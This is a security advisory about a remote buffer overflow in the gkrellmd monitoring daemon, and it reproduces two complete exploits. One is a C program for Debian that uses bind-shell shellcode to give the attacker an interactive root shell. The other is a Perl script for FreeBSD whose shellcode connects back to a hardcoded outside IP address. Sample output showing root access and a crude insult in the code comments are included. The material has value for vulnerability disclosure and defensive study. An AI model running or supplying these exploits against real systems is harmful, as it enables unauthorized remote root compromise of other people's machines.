GKrellM Vulnerable to Remotely Exploitable Buffer Overflow (Shellcode Exploit)
Summary
As we reported in our previous article: GKrellM Vulnerable to Remotely Exploitable Buffer Overflow, a remotely exploitable buffer overflow in GKrellM allows attackers to gain elevated privileges by causing the program to overflow one of its internal buffers (and causing it to execute arbitrary code due to this). The following two exploit codes can be used to test your system for the mentioned vulnerability.
Credit:
The information has been provided by r-code (Debian) and kokanin (FreeBSD).
Details
Exploit (Debian):
/*********************************************************************************\
** gkrellmd < 2.1.12 (linux) remote exploit written by r-code [email protected]
**
** The Exploit was tested on Debian 3.0 (Woody) with gkrellmd 2.1.4
** and worked fine. To work with other distros you might have to adjust the offset
** which should be between 1800-2300, you can try in 100 steps..
** The only problems is that gkrellmd crashes each time an unsuccesful exploitation
** attempt is run. Therefore you`d have only one chance to do it, otherwise
** the daemon will crash and will need to be restarted..
**
** This exploit allows to gain the uid/gid of the person who runs gkrellmd
** (often r00t). Therefore it might be quite useful for some of you..
**
** example:
**
**
** r-code@coredump:/tmp$ ./gkrhack0x03 localhost 2100
** :: gkrellmd < 2.1.12 (linux) exploit by r-code [email protected] [Elite FXP Team]
**
** * Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik, Cypher
** * Flames to: ElSiLaSoF
**
** [*] Building packet...
** [+] OFFSET 0x834, RET_ADDR: 0xbffff7cb
** [+] Connecting to 'localhost' on port '19150'..
** [+] Sending packets..
** [+] ExPloIt SuCcEsFul!!
** [+] EnJoY Ya ShElL (Elite FXP Team)
**
** uid=0(root) gid=0(root) groups=0(root)
** 11:01:02 up 1:36, 2 users, load average: 1.05, 0.37, 0.21
** USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
** root tty1 - 09:26 1:34m 1.60s 0.01s /bin/sh /usr/bi
** r-code tty3 - 11:00 1.00s 1.63s 0.29s ./a.out localho
** Linux coredump 2.4.20 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
** readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a#
**
** Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik, Cypher
** Flames to: ElSiLaSoF - fuck ya bitch!!!
\*********************************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <errno.h>
/* Bind shellcode by wsxz from priv8security , binds shell on 5074 */
char shellcode[]=
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
"\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1"
"\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04"
"\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66"
"\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6"
"\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80";
#define LEN 500
#define DEFAULT_OFFSET 2100 /* Try to play with offsets around 1800 - 2300 in 100 steps */
#define PORT 19150
int connect_to_host(char *hs,int port)
{
int sock,x;
struct sockaddr_in addr;
struct hostent *host;
if(!(host = gethostbyname(hs))) {
perror("gethostbyname(): while resolving host");
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
bcopy(host->h_addr,&addr.sin_addr,host->h_length);
if((sock = socket(AF_INET, SOCK_STREAM, 0))<0) {
perror("socket() error");
return(-1);
}
if((x = connect(sock, (struct sockaddr *)&addr, sizeof(addr)))<0) {
perror("connect() error");
return(-1);
}
return sock;
}
void shell(int sd)
{
int check;
char cmd[]="id; w; uname -a; export TERM=vt100; exec /bin/bash -i\n";
char buf[2048];
fd_set fd;
bzero(buf,2048);
send(sd,cmd,strlen(cmd),0);
while(1) {
fflush(stdout);
FD_ZERO(&fd);
FD_SET(sd,&fd);
FD_SET(STDIN_FILENO,&fd);
select(sd+1,&fd,NULL,NULL,NULL);
if(FD_ISSET(sd,&fd)) {
if((check=read(sd,buf,2048))<=0)
exit(1);
buf[check]=0;
printf("%s",buf);
}
if(FD_ISSET(STDIN_FILENO,&fd)) {
if((check=read(STDIN_FILENO,buf,2048))>0) {
buf[check]=0;
write(sd,buf,check);
}
}
}
return;
}
int main(int argc,char **argv) {
int i,sd;
char *evilstr,*str;
unsigned long int retaddr=0,offset=DEFAULT_OFFSET;
printf(":: gkrellmd < 2.1.12 (linux) exploit by r-code [email protected] [Elite FXP Team]\n\n");
printf("* Greetz to: czarny,|stachu|, Nitro, Zami, Razor, Jedlik, Cypher\n");
printf("* Flames to: ElSiLaSoF\n\n");
if(argc<2 || argc>3){
printf("[-] Usage: ./gkrhack0x03 [host] <offset> #Offset should be between 1800-2300\n");
return -1;
}
if(argc>2)
offset=atoi(argv[2]);
retaddr=0xbfffffff - offset;
printf("[*] Building packet...\n");
printf("[+] OFFSET 0x%x, RET_ADDR: 0x%x\n",offset,retaddr);
evilstr=(char *)malloc(LEN);
memset(evilstr,'A',500);
evilstr[156] = (retaddr & 0x000000ff);
evilstr[157] = (retaddr & 0x0000ff00) >> 8;
evilstr[158] = (retaddr & 0x00ff0000) >> 16;
evilstr[159] = (retaddr & 0xff000000) >> 24;
evilstr[154]=0xeb; // Jump 4 bytes over the retaddr
evilstr[155]=0x04;
memset(evilstr+160,'A',500-160);
for(i=0;i<strlen(shellcode);i++)
evilstr[LEN - strlen(shellcode)+i]=shellcode[i];
evilstr[LEN]=0x00;
printf("[+] Connecting to '%s' on port '%d'..\n",argv[1],PORT);
if((sd=connect_to_host(argv[1],PORT))<0) {
printf("[-] Couldn`t connect to host..\n");
exit(1);
}
printf("[+] Sending packets..\n");
if(send(sd,"gkrellm 2.1.10\n",15,0)<0) {
perror("send(): while sending client version");
return -1;
}
if(send(sd,evilstr,500,0)<0) {
perror("send(): while sending evil string");
return -1;
}
close(sd);
if((sd=connect_to_host(argv[1],5074))<0) {
printf("[-] Exploit failed..! #Probably due to a bad offset\n");
return -1;
}
printf("[+] ExPloIt SuCcEsFul!!\n");
printf("[+] EnJoY Ya ShElL (Elite FXP Team)\n\n");
shell(sd);
return 1;
}
Exploit (FreeBSD):
#!/usr/bin/perl -s
# kokaninATdtors.net playing with gkrellmd on FreeBSD 4.8-RELEASE
# I just ripped their code and made it do something useful instead
# shellcode by bighawk(i think) - wow this is badly formatted.
use IO::Socket;
if(!$ARGV[0] || !$ARGV[1])
{ print "usage: ./DSR-geekrellm.pl <host> <port> (default gkrellmd is 19150)\n"; exit(-1); }
$host = $ARGV[0];
$port = $ARGV[1];
$ret = pack("l",0xbfbffa60);
$shellcode = "\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\xd9\x9d\x26\x26\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80";
#--> connect-back to a useless ip, change it:) ^^217.157.38.38^ ^^10000^
$nop = "\x90";
$buf = "A" x 128 . $ret x 2 . $nop x 500 . $shellcode;
$socket = new IO::Socket::INET
(
Proto => "tcp",
PeerAddr => $host,
PeerPort => $port,
);
die "unable to connect to $host:$port ($!)\n" unless $socket;
print $socket "gkrellm 2.1.10\n"; #tell the daemon wich client we have
sleep(1); #might have to adjust this on slow connections
print $socket $buf;
close($socket);